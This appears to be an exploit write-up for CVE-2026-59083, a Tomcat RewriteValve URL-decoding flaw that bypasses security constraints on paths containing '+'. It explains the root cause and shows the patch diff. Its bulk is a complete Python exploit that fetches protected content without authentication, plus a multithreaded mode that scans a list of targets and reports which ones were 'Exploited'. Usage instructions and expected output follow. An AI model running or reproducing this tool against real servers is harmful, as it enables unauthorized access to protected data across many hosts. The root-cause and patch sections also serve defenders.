#Summary
CVE-2026-59083 is a critical security constraint bypass in Apache Tomcat's RewriteValve that affects versions 8.5.0 through 11.0.23. The vulnerability arises from improper URL decoding when internally rewriting requests. A literal + character in a protected URL path is decoded differently during authorization checks than it appears in the original request, causing security constraints to fail to match. An unauthenticated attacker can bypass access controls and reach protected resources. CVSS 9.1 (Critical) per NVD, though the Apache CNA rates it as Low due to the specific configuration requirements.
#Affected versions
- Apache Tomcat 8.5.0 through 8.5.100 (end of life, no patch available)
- Apache Tomcat 9.0.0.M1 through 9.0.119
- Apache Tomcat 10.1.0-M1 through 10.1.56
- Apache Tomcat 11.0.0-M1 through 11.0.23
Fixed in: 9.0.120, 10.1.57, 11.0.24 (8.5.x reaches end of support without a fix)
#Root cause analysis
#The decoder divergence
When RewriteValve internally rewrites a URL, it must rebuild two separate views of the request:
requestURI- the raw, un-decoded URIdecodedURI- the decoded, normalized URI used for authorization
The vulnerable code built decodedURI with java.net.URLDecoder:
String urlStringRewriteDecoded = URLDecoder.decode(urlStringRewriteEncoded, uriCharset);
urlStringRewriteDecoded = RequestUtil.normalize(urlStringRewriteDecoded);The problem: java.net.URLDecoder implements HTML form encoding (application/x-www-form-urlencoded), where + means "space". This is correct for query strings but wrong for URI paths, where + is a sub-delimiter that should remain as-is.
Meanwhile, requestURI is built with REWRITE_DEFAULT_ENCODER, which treats + as a safe character and passes it through verbatim. Tomcat's own path decoder, UDecoder.URLDecode, does not perform the + substitution and was already in use elsewhere in the same method for the [noescape] redirect case.
#Impact on authorization
For a rewritten path like /app/team+east/secret:
| View | Value |
|---|---|
requestURI |
/app/team+east/secret |
decodedURI (from buggy decode) |
/app/team east/secret |
Authorization decisions in RealmBase.findSecurityConstraints() are matched against decodedURI. A security constraint pattern /app/team+east/* stops matching when the path contains a space instead of a plus, while the Mapper still routes the request to the servlet. The constraint is bypassed, and the request runs unauthenticated.
#Trigger conditions
All of the following must hold for exploitation:
RewriteValveis enabled (not default; must be explicitly configured)- At least one internal rewrite rule exists (not a redirect or forbidden rule)
- The attacker-supplied portion of the URL contains a literal
+(or its encoded form%2B, which decodes to+at Tomcat's front door) - A security constraint pattern contains a literal
+that the rewrite rule can produce
#Patch diff
The security fix is a single-line decoder swap in RewriteValve.invoke():
-import java.net.URLDecoder;
+import java.io.FileNotFoundException;
- String urlStringRewriteDecoded = URLDecoder.decode(urlStringRewriteEncoded, uriCharset);
+ String urlStringRewriteDecoded = UDecoder.URLDecode(urlStringRewriteEncoded, uriCharset);UDecoder.URLDecode is Tomcat's URI-path decoder. It resolves %nn escapes but leaves + unchanged, so requestURI and decodedURI now agree. Authorization checks see the path the client actually sent.
#Proof of concept
#exploit.py - Apache Tomcat RewriteValve Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-59083 - Apache Tomcat RewriteValve URL-decoding security constraint bypass
Affected: Apache Tomcat 8.5.0-8.5.100, 9.0.0.M1-9.0.119, 10.1.0-M1-10.1.56, 11.0.0-M1-11.0.23
Fixed in: 9.0.120, 10.1.57, 11.0.24 (8.5.x is end of life, no fix)
Type: Auth bypass (security constraint bypass, CWE-177)
RewriteValve rebuilds the decoded request URI with java.net.URLDecoder, which
implements application/x-www-form-urlencoded semantics and therefore turns a
literal '+' into a space. The un-decoded requestURI keeps the '+'. Authorization
(RealmBase.findSecurityConstraints) matches against the decoded view, so a
<security-constraint> whose <url-pattern> contains a '+' stops matching, while
the Mapper still routes the request to the servlet. One unauthenticated GET
through the rewrite prefix reaches a resource that returns 403 when requested
directly.
Preconditions on the target (all deployer-side, none are Tomcat defaults):
- RewriteValve enabled with at least one internal (non [R]/[F]/[G]) rewrite rule
- a protected path containing a literal '+' that the rewrite rule can produce
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 8080
python exploit.py --host https://192.168.1.10:8443
python exploit.py --host https://tomcat.corp.com \
--path "/app/team+east/secret" --rewrite-prefix /s --rewrite-target /app
python exploit.py --list targets.txt --workers 20
Arguments beyond --host/--port are target specific because the bypass depends on
the deployment's own rewrite rules and constraint layout:
--path the protected path, exactly as a client would request it
(must contain a literal '+'); returns 403 when asked directly
--rewrite-prefix the URL prefix the rewrite rule matches on (rule left side)
--rewrite-target the prefix the rule rewrites to (rule right side), stripped
from --path before the bypass URL is assembled
There is no --username argument: the constraint carries an empty <auth-constraint>
style deny, so nothing is being authenticated as anybody - the check is skipped
outright rather than satisfied.
Standard library only. Requests are built on a raw socket so the '+' in the path
is transmitted verbatim; an HTTP client that rewrites '+' to %20 destroys the test.
"""
import argparse
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-59083"
VULN_TYPE = "Auth Bypass"
DEFAULT_PATH = "/app/team+east/secret"
DEFAULT_REWRITE_PREFIX = "/s"
DEFAULT_REWRITE_TARGET = "/app"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
TIMEOUT = 10.0
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- HTTP client
def _host_header(host: str, port: int, use_tls: bool) -> str:
"""Host header value, bracketing literal IPv6 addresses."""
h = f"[{host}]" if ":" in host else host
default = 443 if use_tls else 80
return h if port == default else f"{h}:{port}"
def _dechunk(body: bytes) -> bytes:
out = b""
while True:
nl = body.find(b"\r\n")
if nl < 0:
break
try:
size = int(body[:nl].split(b";", 1)[0].strip(), 16)
except ValueError:
return out or body
if size == 0:
break
chunk = body[nl + 2:nl + 2 + size]
out += chunk
body = body[nl + 2 + size + 2:]
return out
def http_get(host: str, port: int, use_tls: bool, path: str, timeout: float = TIMEOUT):
"""Raw-socket GET. The path is placed in the request line byte for byte.
Returns (status_code, headers_text, body_text).
"""
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {_host_header(host, port, use_tls)}\r\n"
f"User-Agent: {UA}\r\n"
"Accept: */*\r\n"
"Connection: close\r\n"
"\r\n"
).encode("utf-8", "surrogateescape")
sock = socket.create_connection((host, port), timeout=timeout)
try:
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(req)
raw = b""
while True:
buf = sock.recv(65536)
if not buf:
break
raw += buf
if len(raw) > 2 * 1024 * 1024:
break
finally:
try:
sock.close()
except OSError:
pass
split = raw.find(b"\r\n\r\n")
if split < 0:
return 0, raw.decode("utf-8", "replace"), ""
head = raw[:split].decode("iso-8859-1")
body = raw[split + 4:]
if "transfer-encoding: chunked" in head.lower():
body = _dechunk(body)
try:
status = int(head.split(" ", 2)[1])
except (IndexError, ValueError):
status = 0
return status, head, body.decode("utf-8", "replace")
# ------------------------------------------------------------ path assembly
def bypass_path(protected: str, rewrite_prefix: str, rewrite_target: str) -> str:
"""Rewrite-prefixed URL that the valve will internally rewrite onto `protected`."""
p = protected if protected.startswith("/") else "/" + protected
prefix = rewrite_prefix.rstrip("/")
target = rewrite_target.rstrip("/")
if target and (p == target or p.startswith(target + "/")):
tail = p[len(target):]
else:
tail = p
return prefix + tail
def control_path(path: str) -> str:
"""Same URL with the '+'-bearing segment swapped for a throwaway one.
Proves the rewrite rule is live without touching the protected namespace.
"""
segments = path.split("/")
replaced = False
for i, seg in enumerate(segments):
if not replaced and "+" in seg:
segments[i] = "probe" + secrets.token_hex(4)
replaced = True
return "/".join(segments)
def encoded_variant(path: str) -> str:
"""Percent-encode the literal '+' characters in the path."""
return path.replace("+", "%2B")
def plus_segment(path: str) -> str:
for seg in path.split("/"):
if "+" in seg:
return seg
return ""
def decode_divergence(body: str, protected: str) -> str:
"""If the handler echoes its own view of the path, report the mismatch.
Optional corroboration only: most real applications echo nothing, and the
status-code flip is what actually proves the bypass.
"""
seg = plus_segment(protected)
if not seg or not body:
return ""
spaced = seg.replace("+", " ")
if seg in body and spaced in body:
lines = [ln.strip() for ln in body.splitlines()
if seg in ln or spaced in ln]
return " | ".join(lines[:4])
return ""
# ------------------------------------------------------------- scan plumbing
def _try_exploit(host: str, port: int, use_tls: bool, path: str = DEFAULT_PATH,
rewrite_prefix: str = DEFAULT_REWRITE_PREFIX,
rewrite_target: str = DEFAULT_REWRITE_TARGET):
"""Silent probe for --list scan mode. Returns (success, evidence)."""
try:
direct, _, _ = http_get(host, port, use_tls, path)
if direct not in (401, 403):
return False, f"resource not protected (direct GET {path} -> {direct})"
bp = bypass_path(path, rewrite_prefix, rewrite_target)
for candidate in (bp, encoded_variant(bp)):
status, _, body = http_get(host, port, use_tls, candidate)
if status == 200:
extra = decode_divergence(body, path)
note = f"; {extra}" if extra else ""
return True, f"{candidate} -> 200 while {path} -> {direct}{note}"
return False, f"constraint held (bypass -> {status})"
except Exception as exc:
return False, f"unreachable ({exc.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ------------------------------------------------------------------ exploit
def exploit(host: str, port: int, use_tls: bool, path: str,
rewrite_prefix: str, rewrite_target: str) -> None:
header(host, port)
if "+" not in path:
done(False, f"--path '{path}' contains no literal '+' - "
"this bug only bypasses constraints whose pattern has one")
bp = bypass_path(path, rewrite_prefix, rewrite_target)
cp = control_path(bp)
step(1, f"Control - confirming the rewrite rule is live: GET {cp}")
try:
c_status, _, c_body = http_get(host, port, use_tls, cp)
except Exception as exc:
done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
print(f" -> HTTP {c_status}")
if c_status == 404:
print(" !! 404: the rewrite rule did not fire. Either the prefix is wrong "
"or RewriteValve is not configured. Continuing, but a negative result below "
"will be inconclusive rather than proof of a patch.")
elif c_status in (401, 403):
print(" !! the control path is itself protected - pick a --rewrite-prefix "
"whose namespace is not blanket-restricted.")
else:
section("CONTROL RESPONSE", c_body[:600])
step(2, f"Baseline - the protected resource, requested directly: GET {path}")
try:
d_status, _, d_body = http_get(host, port, use_tls, path)
except Exception as exc:
done(False, f"target unreachable: {exc.__class__.__name__}: {exc}")
print(f" -> HTTP {d_status}")
if d_status not in (401, 403):
section("DIRECT RESPONSE", d_body[:600])
done(False, f"resource is not access controlled (direct GET {path} returned "
f"{d_status}) - there is no constraint here to bypass")
print(" -> access control confirmed: the resource is denied on the direct route")
results = []
for n, candidate in ((3, bp), (4, encoded_variant(bp))):
label = "raw '+'" if n == 3 else "percent-encoded '%2B'"
step(n, f"Bypass, {label}: GET {candidate}")
try:
b_status, _, b_body = http_get(host, port, use_tls, candidate)
except Exception as exc:
print(f" -> request failed: {exc.__class__.__name__}: {exc}")
results.append((candidate, 0, ""))
continue
print(f" -> HTTP {b_status}")
results.append((candidate, b_status, b_body))
if b_status == 200:
section(f"PROTECTED CONTENT ({candidate})", b_body[:1500])
hits = [(c, s, b) for c, s, b in results if s == 200]
if not hits:
last = results[-1][2] if results else ""
section("SERVER RESPONSE", (last or "<empty>")[:600])
statuses = ", ".join(f"{c} -> {s}" for c, s, _ in results)
done(False, f"constraint held on every rewrite route ({statuses}) - "
"target is patched (9.0.120 / 10.1.57 / 11.0.24 or later) "
"or the rewrite rule does not reach the protected path")
cand, _, body = hits[0]
divergence = decode_divergence(body, path)
if divergence:
section("DECODE DIVERGENCE (server describing its own bug)", divergence)
evidence = (f"Security constraint bypassed - GET {cand} returned 200 with the "
f"protected body while GET {path} returns {d_status}")
if divergence:
evidence += f"; decoded path diverges: {divergence}"
done(True, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080,
help="Default port (default: 8080)")
parser.add_argument("--path", default=DEFAULT_PATH,
help=f"Protected path containing a literal '+' "
f"(default: {DEFAULT_PATH})")
parser.add_argument("--rewrite-prefix", default=DEFAULT_REWRITE_PREFIX,
help=f"URL prefix the rewrite rule matches "
f"(default: {DEFAULT_REWRITE_PREFIX})")
parser.add_argument("--rewrite-target", default=DEFAULT_REWRITE_TARGET,
help=f"Prefix the rewrite rule rewrites to "
f"(default: {DEFAULT_REWRITE_TARGET})")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
opts = {
"path": args.path,
"rewrite_prefix": args.rewrite_prefix,
"rewrite_target": args.rewrite_target,
}
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, **opts)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, **opts)#Usage
python3 exploit.py --host 127.0.0.1 --port 8080The exploit accepts several arguments depending on the target configuration:
| Argument | Default | Description |
|---|---|---|
--host |
required | Target hostname, IP, or full URL |
--port |
8080 | Port number |
--path |
/app/team+east/secret |
Protected path containing a literal + |
--rewrite-prefix |
/s |
URL prefix the rewrite rule matches |
--rewrite-target |
/app |
Prefix the rule rewrites to |
--list |
- | File of targets (one per line) for batch scanning |
--workers |
10 | Thread count for batch mode |
--tls / --no-tls |
auto | Force or disable TLS |
Exit code is 0 on success (constraint bypassed), 1 on failure or error.
#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-59083
Type: Auth Bypass | Target: 127.0.0.1:8080
============================================================
[STEP 1] Control - confirming the rewrite rule is live: GET /s/probe7bbecdb4/secret
-> HTTP 200
[STEP 2] Baseline - the protected resource, requested directly: GET /app/team+east/secret
-> HTTP 403
-> access control confirmed: the resource is denied on the direct route
[STEP 3] Bypass, raw '+': GET /s/team+east/secret
-> HTTP 200
--- PROTECTED CONTENT (/s/team+east/secret) ---
REQUEST-URI: /app/team+east/secret
SERVLET-PATH: /app
PATH-INFO: /team east/secret
...
---
[STEP 4] Bypass, percent-encoded '%2B': GET /s/team%2Beast/secret
-> HTTP 200
============================================================
RESULT : SUCCESS
EVIDENCE: Security constraint bypassed - GET /s/team+east/secret returned 200 with the
protected body while GET /app/team+east/secret returns 403
============================================================#Expected output (patched target)
[STEP 1] Control - confirming the rewrite rule is live: GET /s/probeXXXXXXXX/secret
-> HTTP 200
[STEP 2] Baseline - the protected resource, requested directly: GET /app/team+east/secret
-> HTTP 403
[STEP 3] Bypass, raw '+': GET /s/team+east/secret
-> HTTP 403
[STEP 4] Bypass, percent-encoded '%2B': GET /s/team%2Beast/secret
-> HTTP 403
============================================================
RESULT : FAILURE
EVIDENCE: constraint held on every rewrite route - target is patched
(9.0.120 / 10.1.57 / 11.0.24 or later) or the rewrite rule does not reach the protected path
============================================================#Exploitation notes
#Preconditions
RewriteValvemust be explicitly enabled inserver.xml(not a default installation)- At least one internal rewrite rule must exist (not a
[R]redirect,[F]forbidden, or[G]gone rule) - A security constraint with
<url-pattern>must contain a literal+character - The attacker-controlled portion of the request must be able to reach the protected path through the rewrite rule
- The target must use raw socket requests; HTTP clients that normalize
+to%20destroy the test
#Reliability
Extremely reliable. The bypass is deterministic - if all four preconditions are met, exploitation succeeds on the first attempt. The control step confirms the rewrite rule is live; the baseline confirms the constraint is real; the bypass attempts return HTTP 200 with the protected body on vulnerable targets.
#Impact
An unauthenticated attacker can read and write resources protected by security constraints if the constraint pattern contains a + and the target's rewrite rules can produce that path. No authentication is required, no credentials are needed, and the single GET request triggers the bypass. The impact is total bypass of access control for matching resources.
#Chaining potential
While this is a direct-impact auth bypass, it can be chained with other vulnerabilities in the deployed application. For example, if the protected resources include servlets that perform state changes (file writes, database modifications), an attacker can modify application state without authentication. This vulnerability is particularly dangerous in multi-tenant deployments where paths like /app/tenant+name/ are used to isolate customer data.
#References
- CVE: CVE-2026-59083
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-59083
- Apache Security Advisory: https://tomcat.apache.org/security-11.html
- Fix commit: https://github.com/apache/tomcat/commit/f00ab28725a18c7fffda421e9858c27badcac1e4